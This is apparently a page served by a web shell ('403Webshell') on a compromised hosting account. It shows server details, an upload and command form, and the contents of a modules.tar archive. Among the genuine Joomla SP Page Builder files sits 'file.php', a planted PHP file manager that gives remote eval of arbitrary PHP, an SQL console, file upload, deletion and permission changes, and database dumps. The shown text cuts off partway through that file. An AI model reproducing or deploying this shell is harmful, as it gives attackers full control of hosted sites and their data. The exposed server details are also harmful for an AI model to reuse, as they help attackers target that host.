403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.217.35
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/123click/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/123click/assets/modules.tar
mod_sppagebuilder/mod_sppagebuilder.xml000060400000003622150746134710014447 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.6" client="site" method="upgrade">
	<name>SP Page Builder</name>
	<author>JoomShaper</author>
	<creationDate>Oct 2016</creationDate>
	<copyright>Copyright (c) 2010 - 2021 JoomShaper.com. All rights reserved.</copyright>
	<license>GNU/GPL V2 or Later</license>
	<authorEmail>support@joomshaper.com</authorEmail>
	<authorUrl>www.joomshaper.com</authorUrl>
	<version>1.6</version>
	<description>Module to display content from SP Page Builder</description>
	<files>
		<filename module="mod_sppagebuilder">mod_sppagebuilder.php</filename>
		<filename>helper.php</filename>
		<folder>fields</folder>
		<folder>language</folder>
		<folder>assets</folder>
		<folder>tmpl</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB.mod_sppagebuilder.ini</language>
	</languages>
	<config>
		<fields name="params" addfieldpath="/modules/mod_sppagebuilder/fields">
	  		<fieldset name="basic">
				<field name="content" type="pagebuilder" filter="raw" />
			</fieldset>

			<fieldset name="advanced">
				<field name="layout" type="modulelayout" label="JFIELD_ALT_LAYOUT_LABEL" description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
				<field name="moduleclass_sfx" type="textarea" rows="3" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field name="cachemode" type="hidden" default="itemid">
					<option value="itemid"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_sppagebuilder/mod_sppagebuilder.php000060400000001173150746134710014435 0ustar00<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Helper\ModuleHelper;

JLoader::register('ModSPagebuilderHelper', __DIR__ . '/helper.php');

$data = ModSPagebuilderHelper::getData($module->id, $params);
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8');

require ModuleHelper::getLayoutPath('mod_sppagebuilder', $params->get('layout', 'default'));mod_sppagebuilder/assets/js/action.js000060400000004036150746134710013771 0ustar00/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
jQuery(function($) {

    if($('#toolbar-save-copy').length > 0 ){
        $('#toolbar-save-copy').remove();
    }
    
    if($('#toolbar-apply .button-apply').length > 0 ){
        $('#toolbar-apply .button-apply').removeAttr('onclick').removeAttr('onClick');
    }
    if($('#toolbar-save .button-save').length > 0 ){
        $('#toolbar-save .button-save').removeAttr('onclick').removeAttr('onClick');
    }
    if($('#toolbar-save-new .button-save-new').length > 0 ){
        $('#toolbar-save-new .button-save-new').removeAttr('onclick').removeAttr('onClick');
    }

    $('#toolbar-apply .button-apply, .button-save, .button-save-new').on('click', function(event) {
        event.preventDefault();

        var action_id = event.target.parentNode.id;
        var task = 'module.apply';

        if (action_id == 'toolbar-save' || action_id == 'save-group-children-save')
        {
            task = 'module.save';
        } else if(action_id == 'toolbar-save-new' || action_id == 'save-group-children-save-new') {
            task = 'module.save2new';
        } 
        else if (action_id == 'save-group-children-save-copy')
        {
            task = 'module.save2copy';
        }
        
        var data = {
            id: $('#sppagebuilder_module_id').val(),
            title: $('#jform_title').val(),
            content: $('#jform_params_content').val(),
        }
        
        $.ajax({
            type : 'POST',
            url: pagebuilder_base + 'administrator/index.php?option=com_sppagebuilder&task=page.module_save',
            data: data,
            success: function (response) {
                var data = jQuery.parseJSON(response);
                if(data.status) {
                    Joomla.submitbutton(task);
                } else {
                    alert(data.message);
                }
            }
        });
    });
});mod_sppagebuilder/language/en-GB.mod_sppagebuilder.ini000060400000003147150746134710017102 0ustar00MOD_SPPAGEBUILDER="SP Page Builder"

; Ajax Contact
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_NAME="Name"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_EMAIL="Email"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SUBJECT="Subject"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_MESSAGE="Message"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SEND="Send Message"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_WRONG_CAPTCHA="Wrong answer! Please enter right answer."
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_SUCCESS="Email sent successfully!"
COM_SPPAGEBUILDER_ADDON_AJAX_CONTACT_FAILED="Email sent failed."

; Tweet Addon
COM_SPPAGEBUILDER_TWEET_FOLLOWERS="Followers"
COM_SPPAGEBUILDER_TWEET_FOLLOW="Follow"
COM_SPPAGEBUILDER_SECOND="Second"
COM_SPPAGEBUILDER_SECONDS="Seconds"
COM_SPPAGEBUILDER_MINUTE="Minute"
COM_SPPAGEBUILDER_MINUTES="Minutes"
COM_SPPAGEBUILDER_HOUR="Hour"
COM_SPPAGEBUILDER_HOURS="Hours"
COM_SPPAGEBUILDER_DAY="Day"
COM_SPPAGEBUILDER_DAYS="Days"
COM_SPPAGEBUILDER_MONTHS="Months"
COM_SPPAGEBUILDER_MONTH="Month"
COM_SPPAGEBUILDER_YEAR="Year"
COM_SPPAGEBUILDER_YEARS="Years"
COM_SPPAGEBUILDER_AGO="ago"

; Addon Social Share
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_TOTAL_SHARES="Shares"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_FACEBOOK="Facebook"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_TWITTER="Twitter"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_GOOGLE_PLUS="Google Plus"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_LINKEDIN="Linkedin"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_PINTEREST="Pinterest"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_THUMBLR="Thublr"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_GETPOCKET="Getpocket"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_REDDIT="Reddit"
COM_SPPAGEBUILDER_ADDON_SOCIALSHARE_VK="VK"mod_sppagebuilder/tmpl/default.php000060400000003273150746134710013353 0ustar00<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Component\ComponentHelper;

JLoader::register('SppagebuilderHelperSite', JPATH_SITE . '/components/com_sppagebuilder/helpers/helper.php');
require_once JPATH_ROOT .'/components/com_sppagebuilder/parser/addon-parser.php';
$doc = Factory::getDocument();
$input = Factory::getApplication()->input;
$component_params = ComponentHelper::getParams('com_sppagebuilder');

if ($component_params->get('fontawesome', 1))
{
	SppagebuilderHelperSite::addStylesheet('font-awesome-5.min.css');
	SppagebuilderHelperSite::addStylesheet('font-awesome-v4-shims.css');
}

if (!$component_params->get('disableanimatecss', 0))
{
	SppagebuilderHelperSite::addStylesheet('animate.min.css');
}

if (!$component_params->get('disablecss', 0))
{
	SppagebuilderHelperSite::addStylesheet('sppagebuilder.css');
}

HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'components/com_sppagebuilder/assets/js/jquery.parallax.js', ['version' => SppagebuilderHelperSite::getVersion(true)] );
HTMLHelper::_('script', 'components/com_sppagebuilder/assets/js/sppagebuilder.js', ['version' => SppagebuilderHelperSite::getVersion(true)], ['defer' => true]);
?>
<div class="mod-sppagebuilder <?php echo $moduleclass_sfx ?> sp-page-builder" data-module_id="<?php echo $module->id; ?>">
	<div class="page-content">
		<?php echo AddonParser::viewAddons(json_decode($data), true, 'module' );?>
	</div>
</div>
mod_sppagebuilder/helper.php000060400000002341150746134710012225 0ustar00<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2016 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
 */
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Factory;

class ModSPagebuilderHelper
{
	public static function getData($id, $params) {
		$data = self::pageBuilderData($id);

		if(isset($data->text) && $data->text) {
			return $data->text;
		} else {
			$content = $params->get('content', '[]');
			if(!self::isJson($content)) {
				$content = '[]';
			}
		}

		return $content;
	}

	private static function pageBuilderData($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__sppagebuilder'));
		$query->where($db->quoteName('extension') . ' = '. $db->quote('mod_sppagebuilder'));
		$query->where($db->quoteName('extension_view') . ' = '. $db->quote('module'));
		$query->where($db->quoteName('view_id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$item = $db->loadObject();

		return $item;
	}

	private static function isJson($string)
	{
		json_decode($string);
		return (json_last_error() == JSON_ERROR_NONE);
	}
}
mod_sppagebuilder/fields/pagebuilder.php000060400000022477150746134710014513 0ustar00<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted access');


use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Component\ComponentHelper;

JLoader::register('SppagebuilderHelper', JPATH_ADMINISTRATOR . '/components/com_sppagebuilder/helpers/sppagebuilder.php');
JLoader::register('SppagebuilderHelperRoute', JPATH_ROOT . '/components/com_sppagebuilder/helpers/route.php');

class JFormFieldPagebuilder extends FormField
{
	protected	$type = 'Pagebuilder';

	protected function getInput()
	{
		$output = '';
		$id = (int) Factory::getApplication()->input->get('id', 0, 'INT');
		if($id)
		{
			require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/base.php';
			require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/builder/classes/config.php';

			$this->loadPageBuilderLanguage();

			$params = ComponentHelper::getParams('com_sppagebuilder');
			$doc = Factory::getDocument();
			$input = Factory::getApplication()->input; 

			HTMLHelper::_('jquery.framework');
			SppagebuilderHelper::loadAssets('css');
			$doc->addStylesheet( Uri::base(true) . '/components/com_sppagebuilder/assets/css/react-select.css' );
		
			SppagebuilderHelper::loadEditor();

			$doc->addScript( Uri::base(true) . '/components/com_sppagebuilder/assets/js/script.js' );
			$doc->addScript( Uri::root(true) . '/modules/mod_sppagebuilder/assets/js/action.js' );
			$doc->addScriptdeclaration('var pagebuilder_base="' . Uri::root() . '";');

			// Addon List Initialize
			SpPgaeBuilderBase::loadAddons();
			$fa_icon_list     = SpPgaeBuilderBase::getIconList(); // Icon List
			$animateNames     = SpPgaeBuilderBase::getAnimationsList(); // Animation Names
			$accessLevels     = SpPgaeBuilderBase::getAccessLevelList(); // Access Levels
			$article_cats     = SpPgaeBuilderBase::getArticleCategories(); // Article Categories
			$moduleAttr       = SpPgaeBuilderBase::getModuleAttributes(); // Module Postions and Module Lits
			$rowSettings      = SpPgaeBuilderBase::getRowGlobalSettings(); // Row Settings Attributes
			$columnSettings   = SpPgaeBuilderBase::getColumnGlobalSettings(); // Column Settings Attributes
			$global_attributes = SpPgaeBuilderBase::addonOptions();
	
			// Addon List
			$addons_list    = SpAddonsConfig::$addons;
			$globalDefault = SpPgaeBuilderBase::getSettingsDefaultValue($global_attributes);
	
			 /**
			 * This block of code added for sppbtranslate component support.
			 * @since 3.7.10
			 */
			PluginHelper::importPlugin('system','sppagebuildertranslate');
			
			foreach ( $addons_list as $key => &$addon ) {
				$new_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($addon['attr']);
				$addon['default'] = array_merge($new_default_value['default'], $globalDefault['default']);

				/**
				 * This block of code added for sppbtranslate component support.
				 * @since 3.7.10
				 */
				if (JVERSION < 4) {
					$dispatcher = JDispatcher::getInstance();
					$results = $dispatcher->trigger('onBeforeAddonConfigure', array($key, &$addon));
				} else {
					$results = Factory::getApplication()->triggerEvent('onBeforeAddonConfigure', array($key, &$addon));
				}
			}
	
			$row_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($rowSettings['attr']);
			$rowSettings['default'] = $row_default_value;
	
			$column_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($columnSettings['attr']);
			$columnSettings['default'] = $column_default_value;
	
			$doc->addScriptdeclaration('var addonsJSON=' . json_encode($addons_list) . ';');
	
			// Addon Categories
			$addon_cats = SpPgaeBuilderBase::getAddonCategories($addons_list);
			$doc->addScriptdeclaration('var addonCats=' . json_encode($addon_cats) . ';');
	
			// Global Attributes
			$doc->addScriptdeclaration('var globalAttr=' . json_encode( $global_attributes ) . ';');
			$doc->addScriptdeclaration('var faIconList=' . json_encode( $fa_icon_list ) . ';');
			$doc->addScriptdeclaration('var animateNames=' . json_encode( $animateNames ) . ';');
			$doc->addScriptdeclaration('var accessLevels=' . json_encode( $accessLevels ) . ';');
			$doc->addScriptdeclaration('var articleCats=' . json_encode( $article_cats ) . ';');
			$doc->addScriptdeclaration('var moduleAttr=' . json_encode( $moduleAttr ) . ';');
			$doc->addScriptdeclaration('var rowSettings=' . json_encode( $rowSettings ) . ';');
			$doc->addScriptdeclaration('var colSettings=' . json_encode( $columnSettings ) . ';');

			//Global variable for page name
			$doc->addScriptdeclaration('var pageType="module"; ');
			// Media
			$mediaParams = ComponentHelper::getParams('com_media');
			$doc->addScriptdeclaration('var sppbMediaPath=\'/'. $mediaParams->get('file_path', 'images') .'\';');

			$initialState = '[]';

			$pageData = $this->pageData($id);

			if(isset($pageData->id) && $pageData->id) {
				$view_id = $pageData->id;
				$content = $pageData->text;
				if(empty($content)) {
					$content = '[]';
				}
			} else {
				$data = $this->form->getData();
				$params = new Joomla\Registry\Registry($this->moduleParams($id));
				$title = $data->get('title');
				$content = $params->get('content', '[]');
				
				if(!$this->isJson($content))
				{
					$content = '[]';
				}

				$view_id = $this->insertData($id, $title, $content);

				if(empty($content))
				{
					$content = '[]';
				}
			}

			$initialState = $content;

			$doc->addScriptdeclaration('var initialState='. $initialState .';');
			$doc->addScriptdeclaration('var boxLayout=1;');

			$front_link = 'index.php?option=com_sppagebuilder&view=form&tmpl=component&layout=edit&extension=mod_sppagebuilder&extension_view=module&id=' . $view_id;
			$sefURI = str_replace('/administrator', '', SppagebuilderHelperRoute::buildRoute($front_link));

			$output = '<a class="btn btn-default" style="margin-bottom: 20px;" href="'. $sefURI .'" target="_blank">Frontend Edit with SP Page builder</a>';

			$output .= '<div class="sp-pagebuilder-admin pagebuilder-module"><div id="sp-pagebuilder-page-tools" class="sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div>';

			$output .= '<input type="hidden" name="'. $this->name .'" id="'. $this->id .'" value="">';
			$output .= '<input type="hidden" id="sppagebuilder_module_id" value="'. $id .'">';
			$output .= '<script type="text/javascript" src="' . Uri::base(true) . '/components/com_sppagebuilder/assets/js/engine.js" defer></script>';

			return $output;
		}
		else
		{
			$output .= '<div class="alert alert-info">Please save this module to activate Page Builder</div>';
		}

		$output .= '<style>#general .control-group .control-label {display: none;} #general .control-group .controls {margin-left: 0;}</style>';

		return $output;
	}

	private function moduleParams($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('params')));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$result = $db->loadResult();

		return $result;
	}

	private function pageData($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__sppagebuilder'));
		$query->where($db->quoteName('extension') . ' = '. $db->quote('mod_sppagebuilder'));
		$query->where($db->quoteName('extension_view') . ' = '. $db->quote('module'));
		$query->where($db->quoteName('view_id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$result = $db->loadObject();

		return $result;
	}

	private function insertData($id, $title, $content)
	{
		$user = Factory::getUser();
		$date = Factory::getDate();
        $db = Factory::getDbo();
		$page = new stdClass();
        $page->title = $title;
        $page->text = $content;
        $page->extension = 'mod_sppagebuilder';
        $page->extension_view = 'module';
        $page->view_id = $id;
		$page->published = 1;
		$page->created_by = (int) $user->id;
		$page->created_on = $date->toSql();
		$page->modified = $date->toSql();
		$page->checked_out_time = $date->toSql();
		$page->language = '*';
		$page->access = 1;
		$page->css = '';
		$page->active = 1;

		$db->insertObject('#__sppagebuilder', $page);
		return $db->insertid();
	}

	function isJson($string)
	{
		json_decode($string);
		return (json_last_error() == JSON_ERROR_NONE);
	}

	private function loadPageBuilderLanguage() {
		$lang = Factory::getLanguage();
		$lang->load('com_sppagebuilder', JPATH_ADMINISTRATOR, $lang->getName(), true);
		$lang->load('tpl_' . $this->getTemplate(), JPATH_SITE, $lang->getName(), true);
		require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/helpers/language.php';
	}
	
	private function getTemplate() {
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('template')));
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = '. $db->quote(0));
		$query->where($db->quoteName('home') . ' = '. $db->quote(1));
		$db->setQuery($query);
		return $db->loadResult();
	}
}
file.php000064400000240740150746134710006213 0ustar00<!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
